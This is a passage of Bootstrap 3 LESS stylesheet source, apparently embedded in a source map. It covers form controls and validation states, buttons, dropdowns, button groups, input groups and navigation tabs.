auto;\n }\n .form-control-static {\n height: @input-height-large;\n min-height: (@line-height-computed + @font-size-large);\n padding: (@padding-large-vertical + 1) @padding-large-horizontal;\n font-size: @font-size-large;\n line-height: @line-height-large;\n }\n}\n\n\n// Form control feedback states\n//\n// Apply contextual and semantic states to individual form controls.\n\n.has-feedback {\n // Enable absolute positioning\n position: relative;\n\n // Ensure icons don't overlap text\n .form-control {\n padding-right: (@input-height-base * 1.25);\n }\n}\n// Feedback icon (requires .glyphicon classes)\n.form-control-feedback {\n position: absolute;\n top: 0;\n right: 0;\n z-index: 2; // Ensure icon is above input groups\n display: block;\n width: @input-height-base;\n height: @input-height-base;\n line-height: @input-height-base;\n text-align: center;\n pointer-events: none;\n}\n.input-lg + .form-control-feedback,\n.input-group-lg + .form-control-feedback,\n.form-group-lg .form-control + .form-control-feedback {\n width: @input-height-large;\n height: @input-height-large;\n line-height: @input-height-large;\n}\n.input-sm + .form-control-feedback,\n.input-group-sm + .form-control-feedback,\n.form-group-sm .form-control + .form-control-feedback {\n width: @input-height-small;\n height: @input-height-small;\n line-height: @input-height-small;\n}\n\n// Feedback states\n.has-success {\n .form-control-validation(@state-success-text; @state-success-text; @state-success-bg);\n}\n.has-warning {\n .form-control-validation(@state-warning-text; @state-warning-text; @state-warning-bg);\n}\n.has-error {\n .form-control-validation(@state-danger-text; @state-danger-text; @state-danger-bg);\n}\n\n// Reposition feedback icon if input has visible label above\n.has-feedback label {\n\n & ~ .form-control-feedback {\n top: (@line-height-computed + 5); // Height of the `label` and its margin\n }\n &.sr-only ~ .form-control-feedback {\n top: 0;\n }\n}\n\n\n// Help text\n//\n// Apply to any element you wish to create light text for placement immediately\n// below a form control. Use for general help, formatting, or instructional text.\n\n.help-block {\n display: block; // account for any element using help-block\n margin-top: 5px;\n margin-bottom: 10px;\n color: lighten(@text-color, 25%); // lighten the text some for contrast\n}\n\n\n// Inline forms\n//\n// Make forms appear inline(-block) by adding the `.form-inline` class. Inline\n// forms begin stacked on extra small (mobile) devices and then go inline when\n// viewports reach <768px.\n//\n// Requires wrapping inputs and labels with `.form-group` for proper display of\n// default HTML form controls and our custom form controls (e.g., input groups).\n//\n// Heads up! This is mixin-ed into `.navbar-form` in navbars.less.\n\n.form-inline {\n\n // Kick in the inline\n @media (min-width: @screen-sm-min) {\n // Inline-block all the things for \"inline\"\n .form-group {\n display: inline-block;\n margin-bottom: 0;\n vertical-align: middle;\n }\n\n // In navbar-form, allow folks to *not* use `.form-group`\n .form-control {\n display: inline-block;\n width: auto; // Prevent labels from stacking above inputs in `.form-group`\n vertical-align: middle;\n }\n\n // Make static controls behave like regular ones\n .form-control-static {\n display: inline-block;\n }\n\n .input-group {\n display: inline-table;\n vertical-align: middle;\n\n .input-group-addon,\n .input-group-btn,\n .form-control {\n width: auto;\n }\n }\n\n // Input groups need that 100% width though\n .input-group > .form-control {\n width: 100%;\n }\n\n .control-label {\n margin-bottom: 0;\n vertical-align: middle;\n }\n\n // Remove default margin on radios/checkboxes that were used for stacking, and\n // then undo the floating of radios and checkboxes to match.\n .radio,\n .checkbox {\n display: inline-block;\n margin-top: 0;\n margin-bottom: 0;\n vertical-align: middle;\n\n label {\n padding-left: 0;\n }\n }\n .radio input[type=\"radio\"],\n .checkbox input[type=\"checkbox\"] {\n position: relative;\n margin-left: 0;\n }\n\n // Re-override the feedback icon.\n .has-feedback .form-control-feedback {\n top: 0;\n }\n }\n}\n\n\n// Horizontal forms\n//\n// Horizontal forms are built on grid classes and allow you to create forms with\n// labels on the left and inputs on the right.\n\n.form-horizontal {\n\n // Consistent vertical alignment of radios and checkboxes\n //\n // Labels also get some reset styles, but that is scoped to a media query below.\n .radio,\n .checkbox,\n .radio-inline,\n .checkbox-inline {\n margin-top: 0;\n margin-bottom: 0;\n padding-top: (@padding-base-vertical + 1); // Default padding plus a border\n }\n // Account for padding we're adding to ensure the alignment and of help text\n // and other content below items\n .radio,\n .checkbox {\n min-height: (@line-height-computed + (@padding-base-vertical + 1));\n }\n\n // Make form groups behave like rows\n .form-group {\n .make-row();\n }\n\n // Reset spacing and right align labels, but scope to media queries so that\n // labels on narrow viewports stack the same as a default form example.\n @media (min-width: @screen-sm-min) {\n .control-label {\n text-align: right;\n margin-bottom: 0;\n padding-top: (@padding-base-vertical + 1); // Default padding plus a border\n }\n }\n\n // Validation states\n //\n // Reposition the icon because it's now within a grid column and columns have\n // `position: relative;` on them. Also accounts for the grid gutter padding.\n .has-feedback .form-control-feedback {\n right: floor((@grid-gutter-width / 2));\n }\n\n // Form group sizes\n //\n // Quick utility class for applying `.input-lg` and `.input-sm` styles to the\n // inputs and labels within a `.form-group`.\n .form-group-lg {\n @media (min-width: @screen-sm-min) {\n .control-label {\n padding-top: ((@padding-large-vertical * @line-height-large) + 1);\n font-size: @font-size-large;\n }\n }\n }\n .form-group-sm {\n @media (min-width: @screen-sm-min) {\n .control-label {\n padding-top: (@padding-small-vertical + 1);\n font-size: @font-size-small;\n }\n }\n }\n}\n","// Form validation states\n//\n// Used in forms.less to generate the form validation CSS for warnings, errors,\n// and successes.\n\n.form-control-validation(@text-color: #555; @border-color: #ccc; @background-color: #f5f5f5) {\n // Color the label and help text\n .help-block,\n .control-label,\n .radio,\n .checkbox,\n .radio-inline,\n .checkbox-inline,\n &.radio label,\n &.checkbox label,\n &.radio-inline label,\n &.checkbox-inline label {\n color: @text-color;\n }\n // Set the border and box shadow on specific inputs to match\n .form-control {\n border-color: @border-color;\n .box-shadow(inset 0 1px 1px rgba(0,0,0,.075)); // Redeclare so transitions work\n &:focus {\n border-color: darken(@border-color, 10%);\n @shadow: inset 0 1px 1px rgba(0,0,0,.075), 0 0 6px lighten(@border-color, 20%);\n .box-shadow(@shadow);\n }\n }\n // Set validation states also for addons\n .input-group-addon {\n color: @text-color;\n border-color: @border-color;\n background-color: @background-color;\n }\n // Optional feedback icon\n .form-control-feedback {\n color: @text-color;\n }\n}\n\n\n// Form control focus state\n//\n// Generate a customized focus state and for any input with the specified color,\n// which defaults to the `@input-border-focus` variable.\n//\n// We highly encourage you to not customize the default value, but instead use\n// this to tweak colors on an as-needed basis. This aesthetic change is based on\n// WebKit's default styles, but applicable to a wider range of browsers. Its\n// usability and accessibility should be taken into account with any change.\n//\n// Example usage: change the default blue border and shadow to white for better\n// contrast against a dark gray background.\n.form-control-focus(@color: @input-border-focus) {\n @color-rgba: rgba(red(@color), green(@color), blue(@color), .6);\n &:focus {\n border-color: @color;\n outline: 0;\n .box-shadow(~\"inset 0 1px 1px rgba(0,0,0,.075), 0 0 8px @{color-rgba}\");\n }\n}\n\n// Form control sizing\n//\n// Relative text size, padding, and border-radii changes for form controls. For\n// horizontal sizing, wrap controls in the predefined grid classes. ``\n// element gets special love because it's special, and that's a fact!\n.input-size(@input-height; @padding-vertical; @padding-horizontal; @font-size; @line-height; @border-radius) {\n height: @input-height;\n padding: @padding-vertical @padding-horizontal;\n font-size: @font-size;\n line-height: @line-height;\n border-radius: @border-radius;\n\n select& {\n height: @input-height;\n line-height: @input-height;\n }\n\n textarea&,\n select[multiple]& {\n height: auto;\n }\n}\n","//\n// Buttons\n// --------------------------------------------------\n\n\n// Base styles\n// --------------------------------------------------\n\n.btn {\n display: inline-block;\n margin-bottom: 0; // For input.btn\n font-weight: @btn-font-weight;\n text-align: center;\n vertical-align: middle;\n touch-action: manipulation;\n cursor: pointer;\n background-image: none; // Reset unusual Firefox-on-Android default style; see https://github.com/necolas/normalize.css/issues/214\n border: 1px solid transparent;\n white-space: nowrap;\n .button-size(@padding-base-vertical; @padding-base-horizontal; @font-size-base; @line-height-base; @btn-border-radius-base);\n .user-select(none);\n\n &,\n &:active,\n &.active {\n &:focus,\n &.focus {\n .tab-focus();\n }\n }\n\n &:hover,\n &:focus,\n &.focus {\n color: @btn-default-color;\n text-decoration: none;\n }\n\n &:active,\n &.active {\n outline: 0;\n background-image: none;\n .box-shadow(inset 0 3px 5px rgba(0,0,0,.125));\n }\n\n &.disabled,\n &[disabled],\n fieldset[disabled] & {\n cursor: @cursor-disabled;\n .opacity(.65);\n .box-shadow(none);\n }\n\n a& {\n &.disabled,\n fieldset[disabled] & {\n pointer-events: none; // Future-proof disabling of clicks on `` elements\n }\n }\n}\n\n\n// Alternate buttons\n// --------------------------------------------------\n\n.btn-default {\n .button-variant(@btn-default-color; @btn-default-bg; @btn-default-border);\n}\n.btn-primary {\n .button-variant(@btn-primary-color; @btn-primary-bg; @btn-primary-border);\n}\n// Success appears as green\n.btn-success {\n .button-variant(@btn-success-color; @btn-success-bg; @btn-success-border);\n}\n// Info appears as blue-green\n.btn-info {\n .button-variant(@btn-info-color; @btn-info-bg; @btn-info-border);\n}\n// Warning appears as orange\n.btn-warning {\n .button-variant(@btn-warning-color; @btn-warning-bg; @btn-warning-border);\n}\n// Danger and error appear as red\n.btn-danger {\n .button-variant(@btn-danger-color; @btn-danger-bg; @btn-danger-border);\n}\n\n\n// Link buttons\n// -------------------------\n\n// Make a button look and behave like a link\n.btn-link {\n color: @link-color;\n font-weight: normal;\n border-radius: 0;\n\n &,\n &:active,\n &.active,\n &[disabled],\n fieldset[disabled] & {\n background-color: transparent;\n .box-shadow(none);\n }\n &,\n &:hover,\n &:focus,\n &:active {\n border-color: transparent;\n }\n &:hover,\n &:focus {\n color: @link-hover-color;\n text-decoration: @link-hover-decoration;\n background-color: transparent;\n }\n &[disabled],\n fieldset[disabled] & {\n &:hover,\n &:focus {\n color: @btn-link-disabled-color;\n text-decoration: none;\n }\n }\n}\n\n\n// Button Sizes\n// --------------------------------------------------\n\n.btn-lg {\n // line-height: ensure even-numbered height of button next to large input\n .button-size(@padding-large-vertical; @padding-large-horizontal; @font-size-large; @line-height-large; @btn-border-radius-large);\n}\n.btn-sm {\n // line-height: ensure proper height of button next to small input\n .button-size(@padding-small-vertical; @padding-small-horizontal; @font-size-small; @line-height-small; @btn-border-radius-small);\n}\n.btn-xs {\n .button-size(@padding-xs-vertical; @padding-xs-horizontal; @font-size-small; @line-height-small; @btn-border-radius-small);\n}\n\n\n// Block button\n// --------------------------------------------------\n\n.btn-block {\n display: block;\n width: 100%;\n}\n\n// Vertically space out multiple block buttons\n.btn-block + .btn-block {\n margin-top: 5px;\n}\n\n// Specificity overrides\ninput[type=\"submit\"],\ninput[type=\"reset\"],\ninput[type=\"button\"] {\n &.btn-block {\n width: 100%;\n }\n}\n","// Button variants\n//\n// Easily pump out default styles, as well as :hover, :focus, :active,\n// and disabled options for all buttons\n\n.button-variant(@color; @background; @border) {\n color: @color;\n background-color: @background;\n border-color: @border;\n\n &:focus,\n &.focus {\n color: @color;\n background-color: darken(@background, 10%);\n border-color: darken(@border, 25%);\n }\n &:hover {\n color: @color;\n background-color: darken(@background, 10%);\n border-color: darken(@border, 12%);\n }\n &:active,\n &.active,\n .open > .dropdown-toggle& {\n color: @color;\n background-color: darken(@background, 10%);\n border-color: darken(@border, 12%);\n\n &:hover,\n &:focus,\n &.focus {\n color: @color;\n background-color: darken(@background, 17%);\n border-color: darken(@border, 25%);\n }\n }\n &:active,\n &.active,\n .open > .dropdown-toggle& {\n background-image: none;\n }\n &.disabled,\n &[disabled],\n fieldset[disabled] & {\n &,\n &:hover,\n &:focus,\n &.focus,\n &:active,\n &.active {\n background-color: @background;\n border-color: @border;\n }\n }\n\n .badge {\n color: @background;\n background-color: @color;\n }\n}\n\n// Button sizes\n.button-size(@padding-vertical; @padding-horizontal; @font-size; @line-height; @border-radius) {\n padding: @padding-vertical @padding-horizontal;\n font-size: @font-size;\n line-height: @line-height;\n border-radius: @border-radius;\n}\n","// Opacity\n\n.opacity(@opacity) {\n opacity: @opacity;\n // IE8 filter\n @opacity-ie: (@opacity * 100);\n filter: ~\"alpha(opacity=@{opacity-ie})\";\n}\n","//\n// Component animations\n// --------------------------------------------------\n\n// Heads up!\n//\n// We don't use the `.opacity()` mixin here since it causes a bug with text\n// fields in IE7-8. Source: https://github.com/twbs/bootstrap/pull/3552.\n\n.fade {\n opacity: 0;\n .transition(opacity .15s linear);\n &.in {\n opacity: 1;\n }\n}\n\n.collapse {\n display: none;\n\n &.in { display: block; }\n tr&.in { display: table-row; }\n tbody&.in { display: table-row-group; }\n}\n\n.collapsing {\n position: relative;\n height: 0;\n overflow: hidden;\n .transition-property(~\"height, visibility\");\n .transition-duration(.35s);\n .transition-timing-function(ease);\n}\n","//\n// Dropdown menus\n// --------------------------------------------------\n\n\n// Dropdown arrow/caret\n.caret {\n display: inline-block;\n width: 0;\n height: 0;\n margin-left: 2px;\n vertical-align: middle;\n border-top: @caret-width-base dashed;\n border-top: @caret-width-base solid ~\"\\9\"; // IE8\n border-right: @caret-width-base solid transparent;\n border-left: @caret-width-base solid transparent;\n}\n\n// The dropdown wrapper (div)\n.dropup,\n.dropdown {\n position: relative;\n}\n\n// Prevent the focus on the dropdown toggle when closing dropdowns\n.dropdown-toggle:focus {\n outline: 0;\n}\n\n// The dropdown menu (ul)\n.dropdown-menu {\n position: absolute;\n top: 100%;\n left: 0;\n z-index: @zindex-dropdown;\n display: none; // none by default, but block on \"open\" of the menu\n float: left;\n min-width: 160px;\n padding: 5px 0;\n margin: 2px 0 0; // override default ul\n list-style: none;\n font-size: @font-size-base;\n text-align: left; // Ensures proper alignment if parent has it changed (e.g., modal footer)\n background-color: @dropdown-bg;\n border: 1px solid @dropdown-fallback-border; // IE8 fallback\n border: 1px solid @dropdown-border;\n border-radius: @border-radius-base;\n .box-shadow(0 6px 12px rgba(0,0,0,.175));\n background-clip: padding-box;\n\n // Aligns the dropdown menu to right\n //\n // Deprecated as of 3.1.0 in favor of `.dropdown-menu-[dir]`\n &.pull-right {\n right: 0;\n left: auto;\n }\n\n // Dividers (basically an hr) within the dropdown\n .divider {\n .nav-divider(@dropdown-divider-bg);\n }\n\n // Links within the dropdown menu\n > li > a {\n display: block;\n padding: 3px 20px;\n clear: both;\n font-weight: normal;\n line-height: @line-height-base;\n color: @dropdown-link-color;\n white-space: nowrap; // prevent links from randomly breaking onto new lines\n }\n}\n\n// Hover/Focus state\n.dropdown-menu > li > a {\n &:hover,\n &:focus {\n text-decoration: none;\n color: @dropdown-link-hover-color;\n background-color: @dropdown-link-hover-bg;\n }\n}\n\n// Active state\n.dropdown-menu > .active > a {\n &,\n &:hover,\n &:focus {\n color: @dropdown-link-active-color;\n text-decoration: none;\n outline: 0;\n background-color: @dropdown-link-active-bg;\n }\n}\n\n// Disabled state\n//\n// Gray out text and ensure the hover/focus state remains gray\n\n.dropdown-menu > .disabled > a {\n &,\n &:hover,\n &:focus {\n color: @dropdown-link-disabled-color;\n }\n\n // Nuke hover/focus effects\n &:hover,\n &:focus {\n text-decoration: none;\n background-color: transparent;\n background-image: none; // Remove CSS gradient\n .reset-filter();\n cursor: @cursor-disabled;\n }\n}\n\n// Open state for the dropdown\n.open {\n // Show the menu\n > .dropdown-menu {\n display: block;\n }\n\n // Remove the outline when :focus is triggered\n > a {\n outline: 0;\n }\n}\n\n// Menu positioning\n//\n// Add extra class to `.dropdown-menu` to flip the alignment of the dropdown\n// menu with the parent.\n.dropdown-menu-right {\n left: auto; // Reset the default from `.dropdown-menu`\n right: 0;\n}\n// With v3, we enabled auto-flipping if you have a dropdown within a right\n// aligned nav component. To enable the undoing of that, we provide an override\n// to restore the default dropdown menu alignment.\n//\n// This is only for left-aligning a dropdown menu within a `.navbar-right` or\n// `.pull-right` nav component.\n.dropdown-menu-left {\n left: 0;\n right: auto;\n}\n\n// Dropdown section headers\n.dropdown-header {\n display: block;\n padding: 3px 20px;\n font-size: @font-size-small;\n line-height: @line-height-base;\n color: @dropdown-header-color;\n white-space: nowrap; // as with > li > a\n}\n\n// Backdrop to catch body clicks on mobile, etc.\n.dropdown-backdrop {\n position: fixed;\n left: 0;\n right: 0;\n bottom: 0;\n top: 0;\n z-index: (@zindex-dropdown - 10);\n}\n\n// Right aligned dropdowns\n.pull-right > .dropdown-menu {\n right: 0;\n left: auto;\n}\n\n// Allow for dropdowns to go bottom up (aka, dropup-menu)\n//\n// Just add .dropup after the standard .dropdown class and you're set, bro.\n// TODO: abstract this so that the navbar fixed styles are not placed here?\n\n.dropup,\n.navbar-fixed-bottom .dropdown {\n // Reverse the caret\n .caret {\n border-top: 0;\n border-bottom: @caret-width-base dashed;\n border-bottom: @caret-width-base solid ~\"\\9\"; // IE8\n content: \"\";\n }\n // Different positioning for bottom up menu\n .dropdown-menu {\n top: auto;\n bottom: 100%;\n margin-bottom: 2px;\n }\n}\n\n\n// Component alignment\n//\n// Reiterate per navbar.less and the modified component alignment there.\n\n@media (min-width: @grid-float-breakpoint) {\n .navbar-right {\n .dropdown-menu {\n .dropdown-menu-right();\n }\n // Necessary for overrides of the default right aligned menu.\n // Will remove come v4 in all likelihood.\n .dropdown-menu-left {\n .dropdown-menu-left();\n }\n }\n}\n","// Horizontal dividers\n//\n// Dividers (basically an hr) within dropdowns and nav lists\n\n.nav-divider(@color: #e5e5e5) {\n height: 1px;\n margin: ((@line-height-computed / 2) - 1) 0;\n overflow: hidden;\n background-color: @color;\n}\n","// Reset filters for IE\n//\n// When you need to remove a gradient background, do not forget to use this to reset\n// the IE filter for IE9 and below.\n\n.reset-filter() {\n filter: e(%(\"progid:DXImageTransform.Microsoft.gradient(enabled = false)\"));\n}\n","//\n// Button groups\n// --------------------------------------------------\n\n// Make the div behave like a button\n.btn-group,\n.btn-group-vertical {\n position: relative;\n display: inline-block;\n vertical-align: middle; // match .btn alignment given font-size hack above\n > .btn {\n position: relative;\n float: left;\n // Bring the \"active\" button to the front\n &:hover,\n &:focus,\n &:active,\n &.active {\n z-index: 2;\n }\n }\n}\n\n// Prevent double borders when buttons are next to each other\n.btn-group {\n .btn + .btn,\n .btn + .btn-group,\n .btn-group + .btn,\n .btn-group + .btn-group {\n margin-left: -1px;\n }\n}\n\n// Optional: Group multiple button groups together for a toolbar\n.btn-toolbar {\n margin-left: -5px; // Offset the first child's margin\n &:extend(.clearfix all);\n\n .btn,\n .btn-group,\n .input-group {\n float: left;\n }\n > .btn,\n > .btn-group,\n > .input-group {\n margin-left: 5px;\n }\n}\n\n.btn-group > .btn:not(:first-child):not(:last-child):not(.dropdown-toggle) {\n border-radius: 0;\n}\n\n// Set corners individual because sometimes a single button can be in a .btn-group and we need :first-child and :last-child to both match\n.btn-group > .btn:first-child {\n margin-left: 0;\n &:not(:last-child):not(.dropdown-toggle) {\n .border-right-radius(0);\n }\n}\n// Need .dropdown-toggle since :last-child doesn't apply given a .dropdown-menu immediately after it\n.btn-group > .btn:last-child:not(:first-child),\n.btn-group > .dropdown-toggle:not(:first-child) {\n .border-left-radius(0);\n}\n\n// Custom edits for including btn-groups within btn-groups (useful for including dropdown buttons within a btn-group)\n.btn-group > .btn-group {\n float: left;\n}\n.btn-group > .btn-group:not(:first-child):not(:last-child) > .btn {\n border-radius: 0;\n}\n.btn-group > .btn-group:first-child:not(:last-child) {\n > .btn:last-child,\n > .dropdown-toggle {\n .border-right-radius(0);\n }\n}\n.btn-group > .btn-group:last-child:not(:first-child) > .btn:first-child {\n .border-left-radius(0);\n}\n\n// On active and open, don't show outline\n.btn-group .dropdown-toggle:active,\n.btn-group.open .dropdown-toggle {\n outline: 0;\n}\n\n\n// Sizing\n//\n// Remix the default button sizing classes into new ones for easier manipulation.\n\n.btn-group-xs > .btn { &:extend(.btn-xs); }\n.btn-group-sm > .btn { &:extend(.btn-sm); }\n.btn-group-lg > .btn { &:extend(.btn-lg); }\n\n\n// Split button dropdowns\n// ----------------------\n\n// Give the line between buttons some depth\n.btn-group > .btn + .dropdown-toggle {\n padding-left: 8px;\n padding-right: 8px;\n}\n.btn-group > .btn-lg + .dropdown-toggle {\n padding-left: 12px;\n padding-right: 12px;\n}\n\n// The clickable button for toggling the menu\n// Remove the gradient and set the same inset shadow as the :active state\n.btn-group.open .dropdown-toggle {\n .box-shadow(inset 0 3px 5px rgba(0,0,0,.125));\n\n // Show no shadow for `.btn-link` since it has no other button styles.\n &.btn-link {\n .box-shadow(none);\n }\n}\n\n\n// Reposition the caret\n.btn .caret {\n margin-left: 0;\n}\n// Carets in other button sizes\n.btn-lg .caret {\n border-width: @caret-width-large @caret-width-large 0;\n border-bottom-width: 0;\n}\n// Upside down carets for .dropup\n.dropup .btn-lg .caret {\n border-width: 0 @caret-width-large @caret-width-large;\n}\n\n\n// Vertical button groups\n// ----------------------\n\n.btn-group-vertical {\n > .btn,\n > .btn-group,\n > .btn-group > .btn {\n display: block;\n float: none;\n width: 100%;\n max-width: 100%;\n }\n\n // Clear floats so dropdown menus can be properly placed\n > .btn-group {\n &:extend(.clearfix all);\n > .btn {\n float: none;\n }\n }\n\n > .btn + .btn,\n > .btn + .btn-group,\n > .btn-group + .btn,\n > .btn-group + .btn-group {\n margin-top: -1px;\n margin-left: 0;\n }\n}\n\n.btn-group-vertical > .btn {\n &:not(:first-child):not(:last-child) {\n border-radius: 0;\n }\n &:first-child:not(:last-child) {\n border-top-right-radius: @btn-border-radius-base;\n .border-bottom-radius(0);\n }\n &:last-child:not(:first-child) {\n border-bottom-left-radius: @btn-border-radius-base;\n .border-top-radius(0);\n }\n}\n.btn-group-vertical > .btn-group:not(:first-child):not(:last-child) > .btn {\n border-radius: 0;\n}\n.btn-group-vertical > .btn-group:first-child:not(:last-child) {\n > .btn:last-child,\n > .dropdown-toggle {\n .border-bottom-radius(0);\n }\n}\n.btn-group-vertical > .btn-group:last-child:not(:first-child) > .btn:first-child {\n .border-top-radius(0);\n}\n\n\n// Justified button groups\n// ----------------------\n\n.btn-group-justified {\n display: table;\n width: 100%;\n table-layout: fixed;\n border-collapse: separate;\n > .btn,\n > .btn-group {\n float: none;\n display: table-cell;\n width: 1%;\n }\n > .btn-group .btn {\n width: 100%;\n }\n\n > .btn-group .dropdown-menu {\n left: auto;\n }\n}\n\n\n// Checkbox and radio options\n//\n// In order to support the browser's form validation feedback, powered by the\n// `required` attribute, we have to \"hide\" the inputs via `clip`. We cannot use\n// `display: none;` or `visibility: hidden;` as that also hides the popover.\n// Simply visually hiding the inputs via `opacity` would leave them clickable in\n// certain cases which is prevented by using `clip` and `pointer-events`.\n// This way, we ensure a DOM element is visible to position the popover from.\n//\n// See https://github.com/twbs/bootstrap/pull/12794 and\n// https://github.com/twbs/bootstrap/pull/14559 for more information.\n\n[data-toggle=\"buttons\"] {\n > .btn,\n > .btn-group > .btn {\n input[type=\"radio\"],\n input[type=\"checkbox\"] {\n position: absolute;\n clip: rect(0,0,0,0);\n pointer-events: none;\n }\n }\n}\n","// Single side border-radius\n\n.border-top-radius(@radius) {\n border-top-right-radius: @radius;\n border-top-left-radius: @radius;\n}\n.border-right-radius(@radius) {\n border-bottom-right-radius: @radius;\n border-top-right-radius: @radius;\n}\n.border-bottom-radius(@radius) {\n border-bottom-right-radius: @radius;\n border-bottom-left-radius: @radius;\n}\n.border-left-radius(@radius) {\n border-bottom-left-radius: @radius;\n border-top-left-radius: @radius;\n}\n","//\n// Input groups\n// --------------------------------------------------\n\n// Base styles\n// -------------------------\n.input-group {\n position: relative; // For dropdowns\n display: table;\n border-collapse: separate; // prevent input groups from inheriting border styles from table cells when placed within a table\n\n // Undo padding and float of grid classes\n &[class*=\"col-\"] {\n float: none;\n padding-left: 0;\n padding-right: 0;\n }\n\n .form-control {\n // Ensure that the input is always above the *appended* addon button for\n // proper border colors.\n position: relative;\n z-index: 2;\n\n // IE9 fubars the placeholder attribute in text inputs and the arrows on\n // select elements in input groups. To fix it, we float the input. Details:\n // https://github.com/twbs/bootstrap/issues/11561#issuecomment-28936855\n float: left;\n\n width: 100%;\n margin-bottom: 0;\n }\n}\n\n// Sizing options\n//\n// Remix the default form control sizing classes into new ones for easier\n// manipulation.\n\n.input-group-lg > .form-control,\n.input-group-lg > .input-group-addon,\n.input-group-lg > .input-group-btn > .btn {\n .input-lg();\n}\n.input-group-sm > .form-control,\n.input-group-sm > .input-group-addon,\n.input-group-sm > .input-group-btn > .btn {\n .input-sm();\n}\n\n\n// Display as table-cell\n// -------------------------\n.input-group-addon,\n.input-group-btn,\n.input-group .form-control {\n display: table-cell;\n\n &:not(:first-child):not(:last-child) {\n border-radius: 0;\n }\n}\n// Addon and addon wrapper for buttons\n.input-group-addon,\n.input-group-btn {\n width: 1%;\n white-space: nowrap;\n vertical-align: middle; // Match the inputs\n}\n\n// Text input groups\n// -------------------------\n.input-group-addon {\n padding: @padding-base-vertical @padding-base-horizontal;\n font-size: @font-size-base;\n font-weight: normal;\n line-height: 1;\n color: @input-color;\n text-align: center;\n background-color: @input-group-addon-bg;\n border: 1px solid @input-group-addon-border-color;\n border-radius: @border-radius-base;\n\n // Sizing\n &.input-sm {\n padding: @padding-small-vertical @padding-small-horizontal;\n font-size: @font-size-small;\n border-radius: @border-radius-small;\n }\n &.input-lg {\n padding: @padding-large-vertical @padding-large-horizontal;\n font-size: @font-size-large;\n border-radius: @border-radius-large;\n }\n\n // Nuke default margins from checkboxes and radios to vertically center within.\n input[type=\"radio\"],\n input[type=\"checkbox\"] {\n margin-top: 0;\n }\n}\n\n// Reset rounded corners\n.input-group .form-control:first-child,\n.input-group-addon:first-child,\n.input-group-btn:first-child > .btn,\n.input-group-btn:first-child > .btn-group > .btn,\n.input-group-btn:first-child > .dropdown-toggle,\n.input-group-btn:last-child > .btn:not(:last-child):not(.dropdown-toggle),\n.input-group-btn:last-child > .btn-group:not(:last-child) > .btn {\n .border-right-radius(0);\n}\n.input-group-addon:first-child {\n border-right: 0;\n}\n.input-group .form-control:last-child,\n.input-group-addon:last-child,\n.input-group-btn:last-child > .btn,\n.input-group-btn:last-child > .btn-group > .btn,\n.input-group-btn:last-child > .dropdown-toggle,\n.input-group-btn:first-child > .btn:not(:first-child),\n.input-group-btn:first-child > .btn-group:not(:first-child) > .btn {\n .border-left-radius(0);\n}\n.input-group-addon:last-child {\n border-left: 0;\n}\n\n// Button input groups\n// -------------------------\n.input-group-btn {\n position: relative;\n // Jankily prevent input button groups from wrapping with `white-space` and\n // `font-size` in combination with `inline-block` on buttons.\n font-size: 0;\n white-space: nowrap;\n\n // Negative margin for spacing, position for bringing hovered/focused/actived\n // element above the siblings.\n > .btn {\n position: relative;\n + .btn {\n margin-left: -1px;\n }\n // Bring the \"active\" button to the front\n &:hover,\n &:focus,\n &:active {\n z-index: 2;\n }\n }\n\n // Negative margin to only have a 1px border between the two\n &:first-child {\n > .btn,\n > .btn-group {\n margin-right: -1px;\n }\n }\n &:last-child {\n > .btn,\n > .btn-group {\n z-index: 2;\n margin-left: -1px;\n }\n }\n}\n","//\n// Navs\n// --------------------------------------------------\n\n\n// Base class\n// --------------------------------------------------\n\n.nav {\n margin-bottom: 0;\n padding-left: 0; // Override default ul/ol\n list-style: none;\n &:extend(.clearfix all);\n\n > li {\n position: relative;\n display: block;\n\n > a {\n position: relative;\n display: block;\n padding: @nav-link-padding;\n &:hover,\n &:focus {\n text-decoration: none;\n background-color: @nav-link-hover-bg;\n }\n }\n\n // Disabled state sets text to gray and nukes hover/tab effects\n &.disabled > a {\n color: @nav-disabled-link-color;\n\n &:hover,\n &:focus {\n color: @nav-disabled-link-hover-color;\n text-decoration: none;\n background-color: transparent;\n cursor: @cursor-disabled;\n }\n }\n }\n\n // Open dropdowns\n .open > a {\n &,\n &:hover,\n &:focus {\n background-color: @nav-link-hover-bg;\n border-color: @link-color;\n }\n }\n\n // Nav dividers (deprecated with v3.0.1)\n //\n // This should have been removed in v3 with the dropping of `.nav-list`, but\n // we missed it. We don't currently support this anywhere, but in the interest\n // of maintaining backward compatibility in case you use it, it's deprecated.\n .nav-divider {\n .nav-divider();\n }\n\n // Prevent IE8 from misplacing imgs\n //\n // See https://github.com/h5bp/html5-boilerplate/issues/984#issuecomment-3985989\n > li > a > img {\n max-width: none;\n }\n}\n\n\n// Tabs\n// -------------------------\n\n// Give the tabs something to sit on\n.nav-tabs {\n border-bottom: 1px solid @nav-tabs-border-color;\n > li {\n float: left;\n // Make the list-items overlay the bottom border\n margin-bottom: -1px;\n\n // Actual tabs (as links)\n > a {\n margin-right: 2px;\n line-height: @line-height-base;\n border: 1px solid transparent;\n border-radius: @border-radius-base @border-radius-base 0 0;\n &:hover {\n border-color: @nav-tabs-link-hover-border-color @nav-tabs-link-hover-border-color @nav-tabs-border-color;\n }\n }\n\n // Active state, and its :hover to override normal :hover\n &.active > a {\n &,\n &:hover,\n &:focus {\n color: @nav-tabs-active-link-hover-color;\n background-color: @nav-tabs-active-link-hover-bg;\n border: 1px solid @nav-tabs-active-link-hover-border-color;\n border-bottom-color: transparent;\n cursor: default;\n }\n }\n }\n // pulling this in mainly for less shorthand\n &.nav-justified {\n .nav-justified();\n .nav-tabs-justified();\n }\n}\n\n\n// Pills\n// -------------------------\n.nav-pills {\n > li {\n float: left;\n\n // Links rendered as pills\n > a {\n border-radius: @nav-pills-border-radius;\n }\n + li {\n margin-left: 2px;\n }\n\n // Active state\n &.active > a {\n &,\n &:hover,\n &:focus {\n color: @nav-pills-active-link-hover-color;\n background-color: @nav-pills-active-link-hover-bg;\n }\n }\n }\n}\n\n\n// Stacked pills\n.nav-stacked {\n > li {\n float: none;\n + li {\n margin-top: 2px;\n margin-left: 0; // no need for this gap between nav items\n }\n }\n}\n\n\n// Nav variations\n// --------------------------------------------------\n\n// Justified nav links\n// -------------------------\n\n.nav-justified {\n width: 100%;\n\n > li {\n float: none;\n > a {\n text-align: center;\n margin-bottom: 5px;\n }\n }\n\n > .dropdown .dropdown-menu {\n top: auto;\n left: auto;\n }\n\n @media (min-width: @screen-sm-min) {\n > li {\n display: table-cell;\n width: 1%;\n > a {\n margin-bottom: 0;\n }\n }\n }\n}\n\n// Move borders to anchors instead of bottom of 